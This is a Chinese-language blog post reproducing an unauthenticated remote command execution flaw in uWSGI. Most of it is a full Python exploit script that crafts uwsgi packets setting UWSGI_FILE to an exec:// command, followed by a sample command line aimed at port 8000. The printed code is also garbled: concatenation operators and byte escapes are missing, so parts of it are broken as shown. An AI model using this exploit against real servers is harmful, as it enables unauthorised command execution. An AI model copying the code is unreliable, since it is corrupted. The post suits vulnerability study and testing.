网络安全技术 ·

uWSGI 未授权访问漏洞复现


uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。
漏洞复现:
使用nmap对目标主机端口进行扫描发现8080和8000端口开着
  
poc

  1. #!/usr/bin/python

  2. # coding: utf-8

  3. ######################

  4. # Uwsgi RCE Exploit

  5. ######################

  6. # Author: [email protected]

  7. # Created: 2017-7-18

  8. # Last modified: 2018-1-30

  9. # Note: Just for research purpose

  10. import sys

  11. import socket

  12. import argparse

  13. import requests

  14. def sz(x):

  15.     s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')

  16.     s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')

  17.     return s[::-1]

  18. def pack_uwsgi_vars(var):

  19.     pk = b''

  20.     for k, v in var.items() if hasattr(var, 'items') else var:

  21.         pk = sz(k) k.encode('utf8') sz(v) v.encode('utf8')

  22.     result = b'x00' sz(pk) b'x00' pk

  23.     return result

  24. def parse_addr(addr, default_port=None):

  25.     port = default_port

  26.     if isinstance(addr, str):

  27.         if addr.isdigit():

  28.             addr, port = '', addr

  29.         elif ':' in addr:

  30.             addr, _, port = addr.partition(':')

  31.     elif isinstance(addr, (list, tuple, set)):

  32.         addr, port = addr

  33.     port = int(port) if port else port

  34.     return (addr or '127.0.0.1', port)

  35. def get_host_from_url(url):

  36.     if '//' in url:

  37.         url = url.split('//', 1)[1]

  38.     host, _, url = url.partition('/')

  39.     return (host, '/' url)

  40. def fetch_data(uri, payload=None, body=None):

  41.     if 'http' not in uri:

  42.         uri = 'http://' uri

  43.     s = requests.Session()

  44.     # s.headers['UWSGI_FILE'] = payload

  45.     if body:

  46.         import urlparse

  47.         body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))

  48.         d = s.post(uri, data=body_d)

  49.     else:

  50.         d = s.get(uri)

  51.     return {

  52.         'code': d.status_code,

  53.         'text': d.text,

  54.         'header': d.headers

  55.     }

  56. def ask_uwsgi(addr_and_port, mode, var, body=''):

  57.     if mode == 'tcp':

  58.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  59.         s.connect(parse_addr(addr_and_port))

  60.     elif mode == 'unix':

  61.         s = socket.socket(socket.AF_UNIX)

  62.         s.connect(addr_and_port)

  63.     s.send(pack_uwsgi_vars(var) body.encode('utf8'))

  64.     response = []

  65.     # Actually we dont need the response, it will block if we run any commands.

  66.     # So I comment all the receiving stuff. 

  67.     # while 1:

  68.     #     data = s.recv(4096)

  69.     #     if not data:

  70.     #         break

  71.     #     response.append(data)

  72.     s.close()

  73.     return b''.join(response).decode('utf8')

  74. def curl(mode, addr_and_port, payload, target_url):

  75.     host, uri = get_host_from_url(target_url)

  76.     path, _, qs = uri.partition('?')

  77.     if mode == 'http':

  78.         return fetch_data(addr_and_port uri, payload)

  79.     elif mode == 'tcp':

  80.         host = host or parse_addr(addr_and_port)[0]

  81.     else:

  82.         host = addr_and_port

  83.     var = {

  84.         'SERVER_PROTOCOL': 'HTTP/1.1',

  85.         'REQUEST_METHOD': 'GET',

  86.         'PATH_INFO': path,

  87.         'REQUEST_URI': uri,

  88.         'QUERY_STRING': qs,

  89.         'SERVER_NAME': host,

  90.         'HTTP_HOST': host,

  91.         'UWSGI_FILE': payload,

  92.         'SCRIPT_NAME': target_url

  93.     }

  94.     return ask_uwsgi(addr_and_port, mode, var)

  95. def main(*args):

  96.     desc = """

  97.     This is a uwsgi client & RCE exploit.

  98.     Last modifid at 2018-01-30 by [email protected]

  99.     """

  100.     elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c "echo 111>/tmp/abc""

  101.     

  102.     parser = argparse.ArgumentParser(description=desc, epilog=elog)

  103.     parser.add_argument('-m', '--mode', nargs='?', default='tcp',

  104.                         help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',

  105.                         dest='mode', choices=['http', 'tcp', 'unix'])

  106.     parser.add_argument('-u', '--uwsgi', nargs='?', required=True,

  107.                         help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',

  108.                         dest='uwsgi_addr')

  109.     parser.add_argument('-c', '--command', nargs='?', required=True,

  110.                         help='Command: The exploit command you want to execute, must have this.',

  111.                         dest='command')

  112.     if len(sys.argv) < 2:

  113.         parser.print_help()

  114.         return

  115.     args = parser.parse_args()

  116.     if args.mode.lower() == "http":

  117.         print("[-]Currently only tcp/unix method is supported in RCE exploit.")

  118.         return

  119.     payload = 'exec://' args.command "; echo test" # must have someting in output or the uWSGI crashs.

  120.     print("[*]Sending payload.")

  121.     print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

  122. if __name__ == '__main__':

  123.     main()
     使用poc.py,执行命令

python poc.py -u your-ip:8000 -c "touch /tmp/123456"
  
进入攻击机进行查看命令是否执行
  

参与评论